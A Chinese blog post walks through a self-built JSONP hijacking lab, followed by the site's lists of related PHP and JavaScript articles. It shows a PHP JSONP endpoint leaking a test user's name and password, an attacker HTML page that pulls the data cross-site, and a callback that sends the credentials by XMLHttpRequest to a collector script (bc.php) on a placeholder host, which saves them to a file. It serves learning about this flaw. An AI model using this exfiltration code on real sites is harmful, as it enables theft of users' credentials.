Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
PHP文件下载类
Dec 06 PHP
PHP 编程安全性小结
Jan 08 PHP
PHP zlib扩展实现页面GZIP压缩输出
Jun 17 PHP
PHP访问MYSQL数据库封装类(附函数说明)
Dec 04 PHP
php class中self,parent,this的区别以及实例介绍
Apr 24 PHP
Thinkphp调用Image类生成缩略图的方法
Mar 07 PHP
php计算给定时间之前的函数用法实例
Apr 03 PHP
php调整服务器时间的方法
Apr 03 PHP
php使用正则表达式去掉html中的注释方法
Nov 03 PHP
PHP重定向与伪静态区别
Feb 19 PHP
PDO::prepare讲解
Jan 29 PHP
PHP实现页面静态化深入讲解
Mar 04 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
缓存技术详谈―php
2006/12/14 PHP
php比较多维数组中值的大小排序实现代码
2012/09/08 PHP
php多维数组去掉重复值示例分享
2014/03/02 PHP
php导入excel文件到mysql数据库的方法
2015/01/14 PHP
Yii列表定义与使用分页方法小结(3种方法)
2016/07/15 PHP
PHP中include和require的区别实例分析
2017/05/07 PHP
用cookies实现的可记忆的样式切换效果代码下载
2007/12/24 Javascript
jQuery 1.2.x 升? 1.3.x 注意事项
2009/05/06 Javascript
Node.js实战 建立简单的Web服务器
2012/03/08 Javascript
JS的参数传递示例介绍
2014/02/08 Javascript
JavaScript实现图片轮播的方法
2015/07/31 Javascript
jQuery向父辈遍历的简单方法
2016/09/18 Javascript
JavaScript的new date等日期函数在safari中遇到的坑
2016/10/24 Javascript
JS/HTML5游戏常用算法之碰撞检测 地图格子算法实例详解
2018/12/12 Javascript
webpack中如何加载静态文件的方法步骤
2019/05/18 Javascript
微信小程序 授权登录详解(附完整源码)
2019/08/23 Javascript
[03:45]Newbee战队出征西雅图 决战2016国际邀请赛
2016/08/02 DOTA
Python2.x版本中maketrans()方法的使用介绍
2015/05/19 Python
Python执行时间的计算方法小结
2017/03/17 Python
python实现泊松图像融合
2018/07/26 Python
python接口自动化(十七)--Json 数据处理---一次爬坑记(详解)
2019/04/18 Python
python对绑定事件的鼠标、按键的判断实例
2019/07/17 Python
基于Python脚本实现邮件报警功能
2020/05/20 Python
CSS3中background-clip和background-origin的区别示例介绍
2014/03/10 HTML / CSS
TripAdvisor瑞典:全球领先的旅游网站
2017/12/11 全球购物
奥地利购买珠宝和手表网站:ELLA JUWELEN
2019/09/03 全球购物
澳大利亚宠物食品和用品商店:PETstock
2020/01/02 全球购物
汉语专业应届生求职信
2013/10/01 职场文书
口头翻译求职人自荐信
2013/12/07 职场文书
出生医学证明书
2014/09/15 职场文书
2014年幼儿园后勤工作总结
2014/11/10 职场文书
开除通知书范本
2015/04/25 职场文书
2015年度质量工作总结报告
2015/04/27 职场文书
班级联欢会主持词
2015/07/03 职场文书
结婚主持人致辞
2015/07/28 职场文书
css样式important规则的正确使用方式
2022/06/10 HTML / CSS